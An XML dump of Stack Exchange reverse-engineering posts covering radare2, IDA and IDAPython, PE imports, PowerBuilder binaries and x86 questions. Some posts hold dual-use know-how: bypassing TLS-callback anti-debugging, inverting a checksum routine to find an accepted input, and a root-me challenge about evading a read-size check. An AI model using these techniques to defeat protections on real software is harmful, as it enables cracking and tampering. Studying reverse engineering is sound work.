  <row Id="16845" PostTypeId="2" ParentId="16844" CreationDate="2017-11-26T15:41:41.440" Score="13" Body="&lt;p&gt;You have several ways to print the stack. The specific way that you're searching for is called Stack Telescoping and you can print it like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;pxr @ esp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Use &lt;code&gt;sp&lt;/code&gt;, &lt;code&gt;esp&lt;/code&gt;, and &lt;code&gt;rsp&lt;/code&gt; according to your system.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;pxr&lt;/code&gt; stands for &lt;strong&gt;P&lt;/strong&gt;rint he&lt;strong&gt;X&lt;/strong&gt;adecimal &lt;strong&gt;R&lt;/strong&gt;eferences, you can see its description by using &lt;code&gt;px?&lt;/code&gt;: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x7f8a672ee4]&amp;gt; px?&#xA;&amp;lt;...truncated...&amp;gt;&#xA;pxr[j]            show words with references to flags and code&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here are some other options to print the stack using radare2:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;pxa @ rsp&lt;/code&gt; - to show annotated hexdump&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;pxw @ rsp&lt;/code&gt; - to show hexadecimal words dump (32bit)&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;pxq @ rsp&lt;/code&gt; - to show hexadecimal quad-words dump (64bit)&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;ad@r:SP&lt;/code&gt; - to analyze the stack data  &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="18698" LastEditorUserId="18698" LastEditDate="2017-11-26T17:01:08.673" LastActivityDate="2017-11-26T17:01:08.673" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="16846" PostTypeId="2" ParentId="16835" CreationDate="2017-11-26T18:41:15.650" Score="4" Body="&lt;p&gt;It is an old anti-debugging trick to use the TLS callback. The code in the TLS gets executed before the executables entry point and the debugger gains control. This allows the  TLS to check for the presence of the debugger and act accordingly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One method to bypass it is using OllyDbg is to pause at &quot;System breakpoint&quot; instead of the default &quot;WinMain&quot; and I believe the Olly Advanced plugin allows you to break on TLS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Possibly putting an INT 3 (0xCC) at the start of the TLS (and replacing the original byte) would break and allow you to step through to find the offending code, but I dont remember if this actually works or not, youll have to test it.&lt;/p&gt;&#xA;" OwnerUserId="22370" LastActivityDate="2017-11-26T18:41:15.650" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16847" PostTypeId="1" AcceptedAnswerId="16848" CreationDate="2017-11-27T04:44:58.787" Score="3" ViewCount="2756" Body="&lt;p&gt;I need to rename some memory address &quot;names&quot; in IDAPython. I'm talking about the dword_805672 formatted ones. Please see the screenshot below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/L5X6A.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/L5X6A.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've placed red boxes around the names which I would like to rename with IDAPython. I've searched the API docs and I came up with: &lt;code&gt;idc.MakeName(ea,name)&lt;/code&gt; however, as you can see, this only placed a name in the spots labeled &lt;code&gt;dynamic_1&lt;/code&gt;, &lt;code&gt;dynamic_2&lt;/code&gt; and so on. I want to rename the actual operand.&lt;/p&gt;&#xA;" OwnerUserId="18507" LastActivityDate="2017-11-27T04:58:45.750" Title="How do you rename a memory address operand in IDAPython?" Tags="|idapython|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16848" PostTypeId="2" ParentId="16847" CreationDate="2017-11-27T04:58:45.750" Score="4" Body="&lt;p&gt;&lt;code&gt;idc.MakeName&lt;/code&gt; should be the correct api command. I'm assuming that you did something like &lt;code&gt;idc.MakeName(0x123772cd, 'dynamic_3')&lt;/code&gt; instead of doing the make name on the actual dword in the instruction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like this should be done instead:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;idc.MakeName(idc.GetOperandValue(0x123772cd, 0), 'dynamic_3')&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case &lt;code&gt;idc.GetOperandValue&lt;/code&gt; will return the value of the zeroth operand (ie. 0x123ef5e0). That address will then be labeled 'dynamic_3' and IDA should update the UI to show the change. &lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2017-11-27T04:58:45.750" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16850" PostTypeId="2" ParentId="16835" CreationDate="2017-11-27T10:26:29.657" Score="1" Body="&lt;p&gt;TLS callbacks may be executed on attach because the OS creates a new thread pointing to &lt;code&gt;DbgUiBreakin&lt;/code&gt; with a software breakpoint to stop the execution of the program, and the new thread causes the TLS callback to be executed.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-11-27T10:26:29.657" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16851" PostTypeId="2" ParentId="16826" CreationDate="2017-11-27T12:27:00.443" Score="0" Body="&lt;p&gt;So as I understood the question has two main parts.&#xA;First why it is hard to reverse/analyze a virtualized code. Standard assembly instructions have particular byte code which by that you can understand what is happening in the program. By using virtualization one can create arbitrary byte codes which then is translated to the original code that system can understand. This means by viewing the code you can't understand what goes on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This goes further when we encounter virtualization machines which produce the original code part by part at run time not all the code at once. So as an analyst you see small parts of the real assembly at run time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second part about CreateFile/WriteFile. If by this example you mean analyzing behavior of a program, there is no difference between virtualized or normal executable most of the time. In both cases you can put BP on CreateFile/WriteFile in the debugger or a better way just do black box monitoring.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's worth mentioning that the other problem we face reversing virtualized code is that they mostly benefit from heavy protectors/anti debugging techniques too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://resources.infosecinstitute.com/reverse-engineering-virtual-machine-protected-binaries/#gref&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://resources.infosecinstitute.com/reverse-engineering-virtual-machine-protected-binaries/#gref&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://resources.infosecinstitute.com/tutorial-building-reverse-engineering-simple-virtual-machine-protection/#gref&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://resources.infosecinstitute.com/tutorial-building-reverse-engineering-simple-virtual-machine-protection/#gref&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="22023" LastActivityDate="2017-11-27T12:27:00.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16852" PostTypeId="1" CreationDate="2017-11-27T14:49:32.443" Score="2" ViewCount="491" Body="&lt;p&gt;I'm working on this pseudocode trying to find the correct input for the expected calculated value (i'm not sure if i can call it a checksum). I can't focus enough to generate the reverse algorithm, then any kind of help is appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I may start with the value 2602618273338008543 in v20 and xor back on the random generated input but i think the end result would be too big to be xored to zero with a single byte.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: I commented some lines that i suppose have no effect on the computation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A side question, why is the result checked against 2 values (loword(v20)==-922952045 &amp;amp;&amp;amp; HIDWORD(v20) == -902699940 || v20 == 2602618273338008543i64) ? would the result be different when calculated in double words than with hiword/loword(dword)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    v20 = 0i64;&#xA;    // salt table&#xA;    v28=&quot;a#+EJK45fe/efJWDSlesfGe03saHHFddfdq2gr%a3ß0jm2ÜcFEF!JKMÄrAfim+wqe=WD=?f3jDKefDJ§W?)JöSeAEFj_LIeJDF&quot;; // salt table&#xA;    input = new byte[32] { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };&#xA;    for ( j = 0; j &amp;lt; 200; ++j )&#xA;    {&#xA;      v24 = (v20 + j) % 60 + 1; // 0x3c&#xA;      v15 = input[7 * j % 15];&#xA;      if ( v24 == 32 ) // 0x20&#xA;        v15 = __PAIR__(v15, HIDWORD(v15));&#xA;      if ( v24 == 31 ) // 0x1f&#xA;      {&#xA;        // v22 = v24 &amp;amp; 31; // 0x1f&#xA;        // v11 = HIDWORD(v15);&#xA;        // v8 = v15;&#xA;        v1 = (unsigned __int64)(v15 &amp;lt;&amp;lt; (v24 &amp;amp; 0x1F)) &amp;gt;&amp;gt; 32;&#xA;        LODWORD(v15) = __PAIR__((unsigned int)v15, HIDWORD(v15)) &amp;lt;&amp;lt; (v24 &amp;amp; 0x1F) &amp;gt;&amp;gt; 32;&#xA;        HIDWORD(v15) = v1;&#xA;      }&#xA;      // v6 = v15;&#xA;      v20 += v15;&#xA;      v25 = (v20 ^ (unsigned __int64)j) % 62 + 2; // 0x3e + 2&#xA;      v2 = (v20 - j) % 91;  // 0x5Bui64&#xA;      LODWORD(v16) = *(int *)((char *)&amp;amp;v28 + v2);&#xA;      HIDWORD(v16) = *(int *)((char *)&amp;amp;v29 + v2); // &amp;amp;v29=&amp;amp;v28-4&#xA;      if ( v25 &amp;amp; 32 ) // 0x20&#xA;        v16 = __PAIR__(v16, HIDWORD(v16));&#xA;      if ( v25 &amp;amp; 31 ) // 0x1f&#xA;      {&#xA;        // v21 = v25 &amp;amp; 31; // 0x1f&#xA;        // v9 = HIDWORD(v16);&#xA;        // v10 = v16;&#xA;        v3 = (unsigned __int64)(v16 &amp;lt;&amp;lt; (v25 &amp;amp; 0x1F)) &amp;gt;&amp;gt; 32;&#xA;        LODWORD(v16) = __PAIR__((unsigned int)v16, HIDWORD(v16)) &amp;lt;&amp;lt; (v25 &amp;amp; 0x1F) &amp;gt;&amp;gt; 32;&#xA;        HIDWORD(v16) = v3;&#xA;      }&#xA;      v7 = v16;&#xA;      v20 ^= v16;&#xA;    }&#xA;    if ( (_DWORD)v20 == -922952045 &amp;amp;&amp;amp; HIDWORD(v20) == -902699940 || v20 == 2602618273338008543i64 )&#xA;      v23 = 1;&#xA;  }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a valid C++ code for the same algorithm.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#define LODWORD(_qw)    ((DWORD)(_qw))&#xA;#define HIDWORD(_qw)    ((DWORD)(((_qw) &amp;gt;&amp;gt; 32) &amp;amp; 0xffffffff))&#xA;&#xA;uint64_t v22, v11, v6, v7, v9, v21, v20, v24, v15, v16, v25, v2, v3, vx = 0;&#xA;const char _v28[] = &quot;a#+EJK45fe/efJWDSlesfGe03saHHFddfdq2gr%a3ß0jm2ÜcFEF!JKMÄrAfim+wqe=WD=?f3jDKefDJ§W?)JöSeAEFj_LIeJDF&quot;; // salt table&#xA;const byte input[] = { 0x3B, 0x8F, 0x80, 0x01, 0x00, 0x00, 0x53, 0x54, 0x4F, 0x4C, 0x4C, 0x4D, 0x31, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3A };&#xA;&#xA;int j, v1, v8, v10;&#xA;&#xA;uint64_t QW_Swap(uint64_t v)&#xA;{&#xA;    uint64_t temp = v &amp;amp; 0xFFFFFFFF;  // extract the low&#xA;    v &amp;gt;&amp;gt;= 32;  // shift right&#xA;    v |= (temp &amp;lt;&amp;lt; 32); // put the previous low in the high&#xA;    return v;&#xA;}&#xA;&#xA;void setLODWORD(uint64_t *_var, DWORD _v)&#xA;{&#xA;    *_var &amp;amp;= 0xFFFFFFFF00000000;&#xA;    *_var |= (uint64_t)_v;&#xA;}&#xA;&#xA;void setHIDWORD(uint64_t *_var, DWORD _v)&#xA;{&#xA;    *_var &amp;amp;= 0xFFFFFFFF;&#xA;    *_var |= (uint64_t)_v &amp;lt;&amp;lt; 32;&#xA;}&#xA;&#xA;void atrCRC()&#xA;{&#xA;    v20 = 0;&#xA;    v16 = 0;&#xA;&#xA;    byte * inp;&#xA;    inp = (byte*)&amp;amp;input;&#xA;    byte * v28;&#xA;    v28 = (byte*)&amp;amp;_v28;&#xA;&#xA;    for (j = 0; j &amp;lt; 200; ++j)&#xA;    {&#xA;        v24 = (v20 + j) % 0x3C + 1; &#xA;        v15 = *(uint64_t*)(inp+(7 * j % 15)); &#xA;        if (v24 &amp;amp; 0x20)&#xA;            v15 = QW_Swap(v15);&#xA;        if (v24 &amp;amp; 0x1F)&#xA;        {&#xA;            v22 = v24 &amp;amp; 0x1F; &#xA;            v11 = HIDWORD(v15);&#xA;            v8 = v15; &#xA;            v1 = (uint64_t)(v15 &amp;lt;&amp;lt; (v24 &amp;amp; 0x1F)) &amp;gt;&amp;gt; 32; &#xA;            setLODWORD(&amp;amp;v15, (QW_Swap(v15) &amp;lt;&amp;lt; (v24 &amp;amp; 0x1F) &amp;gt;&amp;gt; 32));&#xA;            setHIDWORD(&amp;amp;v15, v1);&#xA;        }&#xA;        v6 = v15;&#xA;        v20 += v15;&#xA;        v25 = (v20 ^ (uint64_t)j) % 0x3E + 2;&#xA;        v2 = (v20 - j) % 0x5B;&#xA;        setLODWORD(&amp;amp;v16, *(int *)((char *)(v28 + v2)));&#xA;        setHIDWORD(&amp;amp;v16, *(int *)((char *)((v28 + v2) +4)));&#xA;        if (v25 &amp;amp; 0x20)&#xA;            v16 = QW_Swap(v16); &#xA;        if (v25 &amp;amp; 0x1F)&#xA;        {&#xA;            v21 = v25 &amp;amp; 0x1F;&#xA;            v9 = HIDWORD(v16); &#xA;            v10 = v16;&#xA;            v3 = (uint64_t)(v16 &amp;lt;&amp;lt; (v25 &amp;amp; 0x1F)) &amp;gt;&amp;gt; 32;&#xA;            setLODWORD(&amp;amp;v16, (QW_Swap(v16) &amp;lt;&amp;lt; (v25 &amp;amp; 0x1F) &amp;gt;&amp;gt; 32));&#xA;            setHIDWORD(&amp;amp;v16, v3);&#xA;        }&#xA;        v7 = v16;&#xA;        v20 ^= v16;&#xA;    }&#xA;&#xA;    /*&#xA;    if (v20 == -922952045 &amp;amp;&amp;amp; HIDWORD(v20) == -902699940 || v20 == 2602618273338008543i64)&#xA;        v23 = 1;&#xA;    */&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT 2:&lt;/strong&gt;&#xA;a bit simplified code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#define LODWORD(_qw)    ((DWORD)(_qw))&#xA;#define HIDWORD(_qw)    ((DWORD)(((_qw) &amp;gt;&amp;gt; 32) &amp;amp; 0xffffffff))&#xA;&#xA;uint64_t v22, v20, v24, v15, v2, v3 = 0;&#xA;const char _v28[] = &quot;a#+EJK45fe/efJWDSlesfGe03saHHFddfdq2gr%a3ß0jm2ÜcFEF!JKMÄrAfim+wqe=WD=?f3jDKefDJ§W?)JöSeAEFj_LIeJDF&quot;; // salt table&#xA;const byte input[] = { 0x3B, 0x8F, 0x80, 0x01, 0x00, 0x00, 0x53, 0x54, 0x4F, 0x4C, 0x4C, 0x4D, 0x31, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3A };&#xA;&#xA;int j;&#xA;&#xA;uint64_t QW_Swap(uint64_t v)&#xA;{&#xA;    uint64_t temp = v &amp;amp; 0xFFFFFFFF;  // extract the low&#xA;    v &amp;gt;&amp;gt;= 32;  // shift right&#xA;    v |= (temp &amp;lt;&amp;lt; 32); // put the previous low in the high&#xA;    return v;&#xA;}&#xA;&#xA;void setLODWORD(uint64_t *_var, DWORD _v)&#xA;{&#xA;    *_var &amp;amp;= 0xFFFFFFFF00000000;&#xA;    *_var |= (uint64_t)_v;&#xA;}&#xA;&#xA;void setHIDWORD(uint64_t *_var, DWORD _v)&#xA;{&#xA;    *_var &amp;amp;= 0xFFFFFFFF;&#xA;    *_var |= (uint64_t)_v &amp;lt;&amp;lt; 32;&#xA;}&#xA;&#xA;void func(uint64_t x, uint64_t *var)&#xA;{&#xA;    byte v22;&#xA;    int t;&#xA;&#xA;    if (x &amp;amp; 0x20)&#xA;        *var = QW_Swap(*var);&#xA;    if (x &amp;amp; 0x1F)&#xA;    {&#xA;        v22 = x &amp;amp; 0x1F;  &#xA;        t = (uint64_t)(*var &amp;lt;&amp;lt; v22) &amp;gt;&amp;gt; 32;&#xA;        setLODWORD(var, (QW_Swap(*var) &amp;lt;&amp;lt; v22 &amp;gt;&amp;gt; 32)); &#xA;        setHIDWORD(var, t);&#xA;    }&#xA;}&#xA;&#xA;void atrCRC()&#xA;{&#xA;    v20 = 0;&#xA;&#xA;    byte * inp;&#xA;    inp = (byte*)&amp;amp;input;&#xA;    byte * v28;&#xA;    v28 = (byte*)&amp;amp;_v28;&#xA;&#xA;    for (j = 0; j &amp;lt; 200; ++j)&#xA;    {&#xA;        v24 = (v20 + j) % 0x3C + 1; // v20 = ((v24-1)*0x3c)-j;&#xA;        v15 = *(uint64_t*)(inp+(7 * j % 15)); // *(uint64_t*)(out[j*15%7]) = v15;&#xA;&#xA;        func(v24, &amp;amp;v15);&#xA;&#xA;        v20 += v15;&#xA;        v24 = (v20 ^ (uint64_t)j) % 0x3E + 2;&#xA;&#xA;        v2 = (v20 - j) % 0x5B;&#xA;        setLODWORD(&amp;amp;v15, *(int *)((char *)(v28 + v2)));&#xA;        setHIDWORD(&amp;amp;v15, *(int *)((char *)((v28 + v2) +4))); &#xA;&#xA;        func(v24, &amp;amp;v15);&#xA;&#xA;        v20 ^= v15;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="22379" LastEditorUserId="22379" LastEditDate="2017-12-02T19:43:50.390" LastActivityDate="2017-12-02T19:43:50.390" Title="reverse checksum algorithm" Tags="|encryption|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16854" PostTypeId="1" CreationDate="2017-11-27T14:51:29.153" Score="-1" ViewCount="2983" Body="&lt;p&gt;In a website I`ve seen a command like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;test bl al, bl al&#xA;&#xA;jz 0xaddress&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What does this mean?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does this belong to a specific compiler to generate such these assembly codes?&lt;/p&gt;&#xA;" OwnerUserId="22381" LastEditorUserId="2147" LastEditDate="2017-11-30T18:27:49.893" LastActivityDate="2017-11-30T18:27:49.893" Title="What does test bl al, bl al mean?" Tags="|assembly|x86|" AnswerCount="1" CommentCount="2" ClosedDate="2017-12-01T08:39:32.137" ContentLicense="CC BY-SA 3.0" />
  <row Id="16855" PostTypeId="2" ParentId="16854" CreationDate="2017-11-27T15:08:38.593" Score="2" Body="&lt;p&gt;If we're talking about x86 assembly, then the syntax is invalid as the TEST instruction works on two operands&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the correct syntax would TEST op1,op2 and it'll perform a bitwise AND on op1 and op2, discard the result, and change the flags accordingly&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Source&lt;br&gt; &lt;a href=&quot;https://en.wikipedia.org/wiki/TEST_(x86_instruction)&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://en.wikipedia.org/wiki/TEST_(x86_instruction)&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="21707" LastActivityDate="2017-11-27T15:08:38.593" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16856" PostTypeId="1" CreationDate="2017-11-27T17:23:54.247" Score="9" ViewCount="396" Body="&lt;p&gt;I'm reverse engineering an embedded Z80 application in IDA Pro 7.0. The target system maps one address range to either of a pair of expansion boards. The address decode logic decides which board is mapped based on one bit in a memory-mapped register. I think I've figured out how to map the segments, but I can't figure out how to get IDA to use the bank-switched area.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've set up my segments like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Segment  Start    End  Base&#xA;ROM1     00000  02000  0000&#xA;ROM2     02000  04000  0000&#xA;ROM3     04000  06000  0000&#xA;ROM4     06000  08000  0000&#xA;ROM5     08000  0A000  0000   &#xA;IO       0A000  0B000  0000   &#xA;RAM      0B000  0C000  0000   &#xA;DREG     1C000  1D000  1000   &#xA;DRAM     1D000  1E000  1000&#xA;DROM     1E000  20000  1000&#xA;CROM     2C000  30000  2000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've allocated base 0x0000 for things that are always mapped (ROM1-5, IO, RAM), base 0x1000 for bank-switched things on one board (DREG, DRAM, DROM), and base 0x2000 for bank-switched things on the other board (CROM). This results in (DREG, DRAM, DROM) and CROM both having the virtual address range 0xC000-0xFFFF, which is correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't figure out how to tell IDA which bank/base to use, either manually or automatically. Whenever it encounters a reference to a different base it shows the address as a problem and renders it with five digits instead of four (e.g. &lt;code&gt;0E018h&lt;/code&gt;) and I can't find any way to manually resolve the reference. I've read through the scant official documentation, and I've tried googling various related terms to no avail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally, I'd like IDA to recognize the bank select register and automatically choose the right segment the way it does for processors with a native segment register. If that's not possible, manually specifying the target bank/base for each reference would be tolerable. Can someone provide guidance on how to achieve either of those, or more generally on how to handle external bank-switching in IDA?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; I set up segment translation to make the fixed segments available from all of the segments, and now code references from the switched segments to the fixed ones work. Data references from fixed to switched still don't resolve. I'm guessing that adding one or the other set of switched segments to the translation list for the fixed segments would make all references to the switched range resolve to that bank, but I need to be able to resolve some to one bank and some to the other so that's not a solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; I've discovered that I can use the &quot;Manual&quot; option from the right-click menu to change a &lt;code&gt;jp&lt;/code&gt; or &lt;code&gt;call&lt;/code&gt; operand from e.g. &lt;code&gt;0E018h&lt;/code&gt; to &lt;code&gt;1E018h&lt;/code&gt; and thereby manually select a bank. That does make the link resolve, but it appears to be more of a hack than a proper solution as IDA doesn't show names and repeatable comments at the call site like it normally does.&lt;/p&gt;&#xA;" OwnerUserId="22382" LastEditorUserId="22382" LastEditDate="2019-08-24T08:16:21.500" LastActivityDate="2019-08-24T08:16:21.500" Title="replicate external bank switching in IDA Pro" Tags="|ida|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="16857" PostTypeId="1" CreationDate="2017-11-28T05:57:25.227" Score="4" ViewCount="1564" Body="&lt;p&gt;Since each &lt;code&gt;IMAGE_IMPORT_DESCRIPTOR&lt;/code&gt; already points to a RVA for the resolved virtual addresses the IAT seems to be redundant. Why is this data directory included? If I overwrite the RVA/size for the IAT data directory the binary is still able to run properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I missing something? Is there a scenario where having the IAT data directory is crucial to the running of a binary? &lt;/p&gt;&#xA;" OwnerUserId="17998" LastEditorUserId="2147" LastEditDate="2017-11-30T20:43:01.443" LastActivityDate="2020-10-17T07:04:28.557" Title="If we have IMAGE_IMPORT_DESCRIPTOR, Is the IAT redundant?" Tags="|windows|pe|file-format|binary-format|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16859" PostTypeId="1" CreationDate="2017-11-28T12:51:53.050" Score="4" ViewCount="3808" Body="&lt;p&gt;I recently stumbled across a binary file built using Sybase PowerBuilder 12.5 and I am looking for any assistance in reversing it as it's actually quite different than a typical C++ binary. I'm especially interested in understanding the file format of the PBD files, which appears to hold most if not all of the content. My goal is to be able to retrieve values for specific variables and do some basic static analysis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Searching around seems to indicate that this is not a popular type of binary as I could not find much about them, so I'll document my few notes here in hope it helps someone in case I can't go further.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, the application is launched by a PE as any other, but the PE is mostly empty, it basically calls &lt;code&gt;FN_RunExecutable&lt;/code&gt; from the &lt;code&gt;PBVM125.dll&lt;/code&gt; shipping the program. Within &lt;code&gt;PBVM125.dll&lt;/code&gt;, &lt;code&gt;FN_RunExecutable&lt;/code&gt; will initialize the program. This dll appears to be the main library as it exports a lot of functions, a bit similar to the core .NET dll.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At some point, it surely loads data from these PBD files. These PBD files seems to contain names of objects and variables. Names are in Unicode and some of these objects are followed by additional bytes, prefixed with &quot;DAT*&quot;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/RBVS5.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/RBVS5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here's another example of the contents of a PBD file:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/u1M1p.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/u1M1p.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While many of these strings seems to reference a component or a variable, I have failed to find their related values so far. There is a &lt;code&gt;.db&lt;/code&gt; file with the application. Using a hex editor (the database file is not a SQLlite database - I suspect it's some Sybase format), I could not see any of these strings within it. This database file is accessed every time the application is opened.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In any case, if someone with PowerBuilder experience (or anyone) could provide assistance in understanding the PBD file format to extract data from it, it would greatly speed my project.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update 1&lt;/strong&gt;:&#xA;Consulting the Sybase documentation, PowerBuilder applications are somewhat more akin to .NET. The &lt;code&gt;PBVM125.dll&lt;/code&gt; is actually a virtual machine that interprets PBD files, making the code platform-independent. PBD files are a collection of objects that get executed by the VM. While describing the format of PBL files - that is PDB files with source code - &lt;a href=&quot;http://www.dwox.com/PBL_File_Format.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;this reference&lt;/a&gt; gets me pretty close to my goal. I'll use this information to try to get values out of the files.&lt;/p&gt;&#xA;" OwnerUserId="13780" LastEditorUserId="13780" LastEditDate="2017-11-28T23:57:09.537" LastActivityDate="2018-04-21T16:58:10.603" Title="Reverse Engineering Windows PowerBuilder Binaries" Tags="|windows|binary-analysis|binary-format|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16860" PostTypeId="1" CreationDate="2017-11-28T21:21:21.763" Score="0" ViewCount="383" Body="&lt;p&gt;In a rootme exercise, i'm trying to bypass the control impleted to protect a &quot;read&quot; function. You'll find enclosed the code i'm refering to. As you may understand, i can inject data (with limitations) in rax (with the limitation that ax be under 100h due to the previous instruction:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cmp ax, 100h&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know I can change eax value before entering that part of the programe (part of the programe before the asm instructions enclosed). However, I have the feeling that the following instruction prevent from reading the ah part of the eax register. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;movzx eax, word ptr [rax]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Would you have any idea if it would be possible to write into the upper bits of &lt;code&gt;rax&lt;/code&gt; so that it be taken into account by the read function?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot! Sorry if all is not very clear, I can try to re-explain if needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/91rWG.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/91rWG.png&quot; alt=&quot;disassembled piece of code&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="19467" LastEditorUserId="19467" LastEditDate="2017-12-05T20:24:11.783" LastActivityDate="2017-12-05T20:24:11.783" Title="x64 Linux reverse-engineering - understanding asm code and inject eax" Tags="|linux|x86-64|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
